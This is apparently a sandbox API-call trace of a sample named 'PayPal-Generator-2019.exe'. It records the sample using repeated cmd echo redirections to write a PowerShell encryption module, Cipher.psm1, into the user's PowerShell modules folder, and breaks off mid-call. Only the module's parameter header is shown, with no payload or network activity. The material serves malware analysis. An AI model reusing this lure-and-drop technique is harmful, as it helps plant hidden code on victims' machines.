[0049.131] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.132] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.132] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.132] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.132] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.132] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e944 | out: _Buffer="[OutputType([System.IO.FileInfo[]])] \r\n") returned 40 [0049.132] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.132] GetFileType (hFile=0x3c) returned 0x1 [0049.132] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[OutputType([System.IO.FileInfo[]])] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[OutputType([System.IO.FileInfo[]])] \r\n", lpUsedDefaultChar=0x0) returned 41 [0049.132] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xe2e934, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e934*=0x28, lpOverlapped=0x0) returned 1 [0049.132] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.133] _close (_FileHandle=3) returned 0 [0049.133] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.133] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.133] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.133] GetFileType (hFile=0x3c) returned 0x2 [0049.133] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.133] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2eb2c | out: lpMode=0xe2eb2c) returned 1 [0049.135] _dup (_FileHandle=1) returned 3 [0049.135] _close (_FileHandle=1) returned 0 [0049.135] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.135] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2eb0c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.135] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.135] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.135] GetFileType (hFile=0x3c) returned 0x1 [0049.135] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4d8 [0049.135] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2eb24*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2eb24*=0) returned 0x4d7 [0049.135] ReadFile (in: hFile=0x3c, lpBuffer=0xe2eb28, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2eb18, lpOverlapped=0x0 | out: lpBuffer=0xe2eb28*, lpNumberOfBytesRead=0xe2eb18*=0x1, lpOverlapped=0x0) returned 1 [0049.135] GetConsoleTitleW (in: lpConsoleTitle=0xe2e928, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.139] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.139] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.139] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.139] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.140] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.140] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.140] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.140] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.140] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.140] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.140] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e8e4 | out: _Buffer="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n") returned 115 [0049.140] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.140] GetFileType (hFile=0x3c) returned 0x1 [0049.140] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n", lpUsedDefaultChar=0x0) returned 116 [0049.140] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0xe2e8d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e8d4*=0x73, lpOverlapped=0x0) returned 1 [0049.140] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.141] _close (_FileHandle=3) returned 0 [0049.141] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.141] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.141] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.141] GetFileType (hFile=0x3c) returned 0x2 [0049.141] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.141] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2eacc | out: lpMode=0xe2eacc) returned 1 [0049.143] _dup (_FileHandle=1) returned 3 [0049.143] _close (_FileHandle=1) returned 0 [0049.143] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.143] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2eaac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.143] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.143] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.143] GetFileType (hFile=0x3c) returned 0x1 [0049.143] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x54b [0049.143] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2eac4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2eac4*=0) returned 0x54a [0049.144] ReadFile (in: hFile=0x3c, lpBuffer=0xe2eac8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2eab8, lpOverlapped=0x0 | out: lpBuffer=0xe2eac8*, lpNumberOfBytesRead=0xe2eab8*=0x1, lpOverlapped=0x0) returned 1 [0049.144] GetConsoleTitleW (in: lpConsoleTitle=0xe2e8c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.145] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.145] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.145] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.145] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.145] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.145] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.145] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.145] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.145] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.145] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.145] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e884 | out: _Buffer=" [Alias('PSPath','LiteralPath')] \r\n") returned 39 [0049.145] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.145] GetFileType (hFile=0x3c) returned 0x1 [0049.145] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Alias('PSPath','LiteralPath')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Alias('PSPath','LiteralPath')] \r\n", lpUsedDefaultChar=0x0) returned 40 [0049.145] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xe2e874, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e874*=0x27, lpOverlapped=0x0) returned 1 [0049.145] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.146] _close (_FileHandle=3) returned 0 [0049.146] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.146] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.146] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.146] GetFileType (hFile=0x3c) returned 0x2 [0049.146] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.146] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ea6c | out: lpMode=0xe2ea6c) returned 1 [0049.148] _dup (_FileHandle=1) returned 3 [0049.148] _close (_FileHandle=1) returned 0 [0049.148] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.148] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ea4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.148] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.149] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.149] GetFileType (hFile=0x3c) returned 0x1 [0049.149] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x572 [0049.149] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ea64*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ea64*=0) returned 0x571 [0049.149] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ea68, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ea58, lpOverlapped=0x0 | out: lpBuffer=0xe2ea68*, lpNumberOfBytesRead=0xe2ea58*=0x1, lpOverlapped=0x0) returned 1 [0049.149] GetConsoleTitleW (in: lpConsoleTitle=0xe2e868, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.150] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.150] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.150] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.150] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.150] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.150] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.150] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.150] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.150] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.150] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.150] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e824 | out: _Buffer=" [string[]]$FileName, \r\n") returned 29 [0049.150] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.150] GetFileType (hFile=0x3c) returned 0x1 [0049.150] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [string[]]$FileName, \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [string[]]$FileName, \r\n", lpUsedDefaultChar=0x0) returned 30 [0049.150] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0xe2e814, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e814*=0x1d, lpOverlapped=0x0) returned 1 [0049.150] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.151] _close (_FileHandle=3) returned 0 [0049.151] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.151] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.151] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.151] GetFileType (hFile=0x3c) returned 0x2 [0049.151] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.151] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ea0c | out: lpMode=0xe2ea0c) returned 1 [0049.152] _dup (_FileHandle=1) returned 3 [0049.152] _close (_FileHandle=1) returned 0 [0049.152] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.152] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e9ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.153] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.153] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.153] GetFileType (hFile=0x3c) returned 0x1 [0049.153] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x58f [0049.153] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ea04*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ea04*=0) returned 0x58e [0049.153] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ea08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e9f8, lpOverlapped=0x0 | out: lpBuffer=0xe2ea08*, lpNumberOfBytesRead=0xe2e9f8*=0x1, lpOverlapped=0x0) returned 1 [0049.153] GetConsoleTitleW (in: lpConsoleTitle=0xe2e808, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.155] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.155] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.155] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.155] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.155] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.155] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.155] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.155] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.155] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.155] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.155] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e7c4 | out: _Buffer=" [Parameter(Mandatory=$false, Position=2)] \r\n") returned 50 [0049.155] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.155] GetFileType (hFile=0x3c) returned 0x1 [0049.155] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", lpUsedDefaultChar=0x0) returned 51 [0049.155] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe2e7b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e7b4*=0x32, lpOverlapped=0x0) returned 1 [0049.155] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.156] _close (_FileHandle=3) returned 0 [0049.156] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.156] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.156] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.156] GetFileType (hFile=0x3c) returned 0x2 [0049.156] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.156] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e9ac | out: lpMode=0xe2e9ac) returned 1 [0049.157] _dup (_FileHandle=1) returned 3 [0049.157] _close (_FileHandle=1) returned 0 [0049.157] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.157] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e98c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.158] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.158] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.158] GetFileType (hFile=0x3c) returned 0x1 [0049.158] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5c1 [0049.158] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e9a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e9a4*=0) returned 0x5c0 [0049.158] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e9a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e998, lpOverlapped=0x0 | out: lpBuffer=0xe2e9a8*, lpNumberOfBytesRead=0xe2e998*=0x1, lpOverlapped=0x0) returned 1 [0049.158] GetConsoleTitleW (in: lpConsoleTitle=0xe2e7a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.159] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.159] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.159] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.159] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.159] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.159] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.159] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.159] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.159] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.159] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.159] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e764 | out: _Buffer=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n") returned 63 [0049.159] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.159] GetFileType (hFile=0x3c) returned 0x1 [0049.159] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", lpUsedDefaultChar=0x0) returned 64 [0049.159] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe2e754, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e754*=0x3f, lpOverlapped=0x0) returned 1 [0049.159] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.160] _close (_FileHandle=3) returned 0 [0049.160] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.160] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.160] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.160] GetFileType (hFile=0x3c) returned 0x2 [0049.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.160] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e94c | out: lpMode=0xe2e94c) returned 1 [0049.161] _dup (_FileHandle=1) returned 3 [0049.161] _close (_FileHandle=1) returned 0 [0049.161] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.161] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e92c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.161] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.161] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.161] GetFileType (hFile=0x3c) returned 0x1 [0049.161] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x600 [0049.161] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e944*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e944*=0) returned 0x5ff [0049.161] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e948, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e938, lpOverlapped=0x0 | out: lpBuffer=0xe2e948*, lpNumberOfBytesRead=0xe2e938*=0x1, lpOverlapped=0x0) returned 1 [0049.161] GetConsoleTitleW (in: lpConsoleTitle=0xe2e748, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.162] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.162] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.162] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.162] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.162] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.162] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.162] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.162] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.162] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.162] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.163] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e704 | out: _Buffer=" [String]$Algorithm = 'AES', \r\n") returned 35 [0049.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.163] GetFileType (hFile=0x3c) returned 0x1 [0049.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Algorithm = 'AES', \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Algorithm = 'AES', \r\n", lpUsedDefaultChar=0x0) returned 36 [0049.163] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xe2e6f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e6f4*=0x23, lpOverlapped=0x0) returned 1 [0049.163] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.163] _close (_FileHandle=3) returned 0 [0049.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.163] GetFileType (hFile=0x3c) returned 0x2 [0049.163] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.164] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e8ec | out: lpMode=0xe2e8ec) returned 1 [0049.164] _dup (_FileHandle=1) returned 3 [0049.164] _close (_FileHandle=1) returned 0 [0049.164] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.164] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e8cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.164] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.164] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.165] GetFileType (hFile=0x3c) returned 0x1 [0049.165] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x623 [0049.165] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e8e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e8e4*=0) returned 0x622 [0049.165] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e8e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e8d8, lpOverlapped=0x0 | out: lpBuffer=0xe2e8e8*, lpNumberOfBytesRead=0xe2e8d8*=0x1, lpOverlapped=0x0) returned 1 [0049.165] GetConsoleTitleW (in: lpConsoleTitle=0xe2e6e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.165] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.165] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.166] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.166] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.166] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.166] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.166] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.166] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.166] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.166] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.166] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e6a4 | out: _Buffer=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n") returned 82 [0049.166] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.166] GetFileType (hFile=0x3c) returned 0x1 [0049.166] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n", lpUsedDefaultChar=0x0) returned 83 [0049.166] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xe2e694, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e694*=0x52, lpOverlapped=0x0) returned 1 [0049.166] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.166] _close (_FileHandle=3) returned 0 [0049.167] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.167] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.167] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.167] GetFileType (hFile=0x3c) returned 0x2 [0049.167] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.167] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e88c | out: lpMode=0xe2e88c) returned 1 [0049.168] _dup 